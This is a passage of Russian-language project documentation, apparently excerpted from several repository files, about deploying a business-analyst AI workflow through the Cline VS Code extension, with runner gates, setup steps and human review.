\u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c manifest \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u0411\u0410. \u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0439 \u043f\u0443\u0442\u044c \u0431\u0443\u0434\u0443\u0449\u0435\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u044d\u0442\u0438\u043c ADR \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f.\\n\\n\u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c \u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u0443\u0440\u043e\u0432\u043d\u044f\u043c:\\n\\n1. **\u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439:** \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 runner/CI \u0441\u0430\u043c \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 exit code, \u0433\u0440\u0430\u0444 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435. \u042d\u0442\u043e\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u043c \u0442\u0435\u0441\u0442\u043e\u043c.\\n2. **\u0410\u0433\u0435\u043d\u0442\u043d\u044b\u0439:** Cline \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430, \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a, \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u0432\u044b\u0437\u043e\u0432\u044b tools \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f. \u0415\u0433\u043e \u0432\u044b\u0431\u043e\u0440 \u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b; `AGENTS.md` \u0438 Cline rules \u043f\u043e\u043c\u043e\u0433\u0430\u044e\u0442, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442 runner.\\n3. **\u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439:** \u0411\u0410 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0443\u044e \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u044e, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438, Working baseline \u0438 Release. \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0430 \u0438 \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e \u043d\u0435 \u0432\u044b\u0434\u0430\u044e\u0442\u0441\u044f \u0438\u0437 Python exit code.\\n\\n\u0412 \u0431\u0443\u0434\u0443\u0449\u0435\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0435 `AGENTS.md` \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0434\u043b\u044f Cline `.clinerules` \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u043c \u043d\u0430 \u043d\u0435\u0433\u043e \u0438 \u043d\u0430 \u044f\u0432\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 runner. \u041d\u0430\u0432\u044b\u043a\u0438, \u043d\u0443\u0436\u043d\u044b\u0435 \u0434\u043b\u044f Cline, \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 \u0431\u0435\u0437 \u043a\u043e\u043f\u0438\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0439 \u043d\u043e\u0440\u043c\u044b. \u041d\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0442\u044c agent edit `tools/`, `contracts/`, `routes/` \u0438\u043b\u0438 manifest \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043d\u0438\u0445 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 Source PR \u0438 recompilation. \u0418\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0434 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0411\u0410/CI, \u0430 \u043d\u0435 \u00ab\u0447\u0442\u0435\u043d\u0438\u0435\u043c Python \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u00bb. CI \u043e\u0431\u044f\u0437\u0430\u043d \u043e\u0442\u0432\u0435\u0440\u0433\u0430\u0442\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\\n\\n\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043b\u044f guide \u0431\u0443\u0434\u0443\u0449\u0435\u0433\u043e Cline-\u043f\u0430\u043a\u0435\u0442\u0430:\\n\\n1. \u041d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u043c \u0410\u0420\u041c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c Git, VS Code, \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 [Cline](https://github.com/cline/cline/blob/main/docs/getting-started/installing-cline.mdx), Python 3 \u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 **\u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439** \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u0430. \u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0439 VS Code \u0438 Python; \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f GPU \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043d\u0443\u0436\u043d\u0430. Junior \u0411\u0410 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043c\u0435\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u043f\u0430\u043f\u043a\u0443 \u0432 VS Code, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0433\u043e\u0442\u043e\u0432\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 \u0438 \u043f\u0440\u043e\u0447\u0435\u0441\u0442\u044c PASS/FAIL; \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 MCP-\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0434\u0430\u0447\u0430 \u043f\u0440\u0430\u0432 \u2014 \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\\n2. \u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c **\u0441\u0432\u043e\u0439** \u043a\u043b\u044e\u0447 \u0432 AI Core. \u041e\u0442\u043a\u0440\u044b\u0442\u044c Cline Settings \u2192 API Provider `OpenAI Compatible`; \u0443\u043a\u0430\u0437\u0430\u0442\u044c Base URL, \u0432\u044b\u0434\u0430\u043d\u043d\u044b\u0439 AI Core, \u043c\u043e\u0434\u0435\u043b\u044c `gpu-default`, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u044e\u0447, Context Window `114688`, Max Output Tokens `16384`, \u0432\u044b\u043a\u043b\u044e\u0447\u0438\u0442\u044c image support. \u0414\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u0434\u043b\u0438\u043d\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 `gpu-deep` \u0438\u043c\u0435\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043b\u0438\u043c\u0438\u0442\u044b `98304`/`32768`; \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0438\u043b\u043e\u0442\u0430. \u042d\u0442\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432\u0437\u044f\u0442\u044b \u0438\u0437 [\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438](https://github.com/user-attachments/files/32652321/default.txt), \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u044b \u0432 Cline. HTTP \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043b\u0438\u0448\u044c \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438/VPN \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0442\u043e\u0439 \u0436\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438; \u043a\u043b\u044e\u0447 \u043d\u0435 \u043f\u043e\u043c\u0435\u0449\u0430\u0442\u044c \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442.\\n3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c/\u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c `mango-ba-ai-runtime-cline` \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c package manifest, `python3 --version`, \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 gate \u0438\u0437 README \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u0430\u043a\u0435\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c `AGENTS.md`, \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/`, `meta-model/` \u0438 `docs/kb/`; `runs/` \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c `.gigacode/skills/` \u043a\u0430\u043a \u044f\u043a\u043e\u0431\u044b \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 Cline skills.\\n4. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 **\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439** \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u044b\u0439 MCP \u0434\u043b\u044f Jira/Confluence \u0447\u0435\u0440\u0435\u0437 Cline MCP Servers \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 `tools/list`/\u043f\u0440\u043e\u0431\u043d\u044b\u0439 read-only \u043f\u043e\u0438\u0441\u043a \u043f\u043e \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0438 issue. \u041f\u043e\u043a\u0430 MCP \u043d\u0435 \u0432\u044b\u0434\u0430\u043d, BA \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 KB, \u043c\u0430\u0440\u043a\u0438\u0440\u0443\u0435\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b \u0438 \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u0446\u0438\u0442\u0430\u0442\u0443. Model API key \u043d\u0435 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432 MCP \u043a\u0430\u043a \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c.\\n5. \u0412 VS Code \u043e\u0442\u043a\u0440\u044b\u0442\u044c runtime-\u043f\u0430\u043f\u043a\u0443, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0435 \u0430\u0432\u0442\u043e\u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439, \u0434\u0430\u0442\u044c Cline \u043e\u0434\u0438\u043d `TASK-0001` \u0441 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c/\u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c, \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c `n0`, \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c route \u0447\u0435\u0440\u0435\u0437 runner. \u041f\u043e\u0441\u043b\u0435 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0448\u0430\u0433\u0430 \u0411\u0410 \u0432\u0438\u0434\u0438\u0442 \u0443\u0437\u0435\u043b, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u043a\u043e\u043c\u0430\u043d\u0434\u0443/exit code \u0433\u0435\u0439\u0442\u0430 \u0438 Markdown checkpoint; \u043f\u0440\u0438 FAIL \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u0414\u043b\u044f Release \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u044b\u0439 Working, `validate-working`, `compile`, `validate-release`, human review.\\n\\n## \u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u044b 2 \u043f\u043e review PR #616 (2026-09-26)\\n\\n## Summary\\n\\n**\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f:** \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043e\u0434\u0438\u043d Source \u0438 \u0434\u0432\u0430 \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430 \u0441\u0440\u0435\u0434\u044b, \u043f\u043e\u043a\u0430 \u043f\u0430\u0440\u043d\u044b\u0439\\n\u043f\u0438\u043b\u043e\u0442 \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442 \u043d\u0435\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0435 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e. \u0412 \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u0441\u0440\u0435\u0437\u0435\\n\u043e\u0431\u0449\u0438\u0439 BCREQ-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u0432 \u0434\u0432\u0443\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432, \u0430 \u0441\u0445\u0435\u043c\u044b Working\\n\u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c `$id` \u043f\u0430\u043a\u0435\u0442\u0430. \u041d\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438\u043c\u0435\u044e\u0442 \u0440\u0430\u0437\u043d\u0443\u044e \u043f\u043e\u043b\u043d\u043e\u0442\u0443:\\nGigaCode CLI \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 `A-IN \u2192 A-CORE \u2192 BCREQ`, Cline \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 `Working \u2192 Release`. \u042d\u0442\u043e \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e **\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0430 \u043e\u0431\u0449\u0435\u0433\u043e \u044f\u0434\u0440\u0430**,\\n\u0430 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0440\u0430\u0432\u0435\u043d\u0441\u0442\u0432\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438\u043b\u0438 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438\\n\u0431\u043e\u0435\u0432\u043e\u0433\u043e Cline-\u043f\u0438\u043b\u043e\u0442\u0430. \u041e\u0434\u0438\u043d \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043d\u0430 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0439\\n\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u043a\u0435; \u0431\u043e\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0432 \u0434\u0432\u0443\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c gate.\\n\\n## Motivation\\n\\n\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 [\u0434\u0438\u0430\u043b\u043e\u0433 \u0438\u0437 issue #630](https://github.com/user-attachments/files/32743482/2.280926.txt)\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 20 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0439 \u043e Cline-\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u0445. \u0422\u0430\u043c \u0436\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0432\u043e\u043f\u0440\u043e\u0441 \u043e\\n\u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438: \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u043c\u043e\u0434\u0435\u043b\u0438, \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 Source, \u0437\u0430\u0442\u0435\u043c\\n\u0444\u0438\u043d\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439. \u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u044e\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0442\u0435\u043a\u0441\u0442\u0430, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0438\u0435\\n\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b. \u0418\u0445 \u043f\u0435\u0440\u0435\u043d\u043e\u0441 \u0432 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u0431\u0435\u0437\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043c\u043e\u0433 \u0431\u044b \u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0435\u0449\u0451 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0443\u044e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0443\u044e.\\n\\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e [\u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 \u0425\u0430\u0431\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/concept.md)\\n\u0438 [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md),\\nSource \u0445\u0440\u0430\u043d\u0438\u0442 \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u0438 \u043e\u0431\u0449\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c, Distribution \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f runtime \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u044e\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0438\u043b\u043e\u0442\\n\u0434\u043e\u043b\u0436\u0435\u043d \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0442\u044c \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438 \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u043d\u0443\u044e \u0444\u043e\u0440\u043c\u0443, \u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0442\u044c\\n\u043a\u0430\u0436\u0434\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432\u0442\u043e\u0440\u044b\u043c Source.\\n\\n## Goals and Non-goals\\n\\n=== docs/analysis/2026-09-29-cline-package-expectation-gap.md\\n\\n# \u0420\u0430\u0437\u0440\u044b\u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u043f\u043e \u043f\u0430\u043a\u0435\u0442\u0443 Cline VS Code\\n\\n> **\u0412\u0435\u0440\u0441\u0438\u044f 0.2.** \u042d\u0442\u043e\u0442 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u043f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u0430 \u0438 \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b\\n> (\u0441\u0440\u0435\u0434\u0430 2). \u041f\u043e [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620)\\n> \u043e\u0445\u0432\u0430\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d \u0434\u043e \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438, \u0441\u0440\u0435\u0434 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u044f n8n \u0438\\n> \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 4: [\u00ab\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md),\\n> \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-26\u2026\u0413-54.\\n\\n## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n\\n**\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0432\u0435\u0440\u043d\u043e\u0435, \u0438 \u043f\u0430\u043a\u0435\u0442 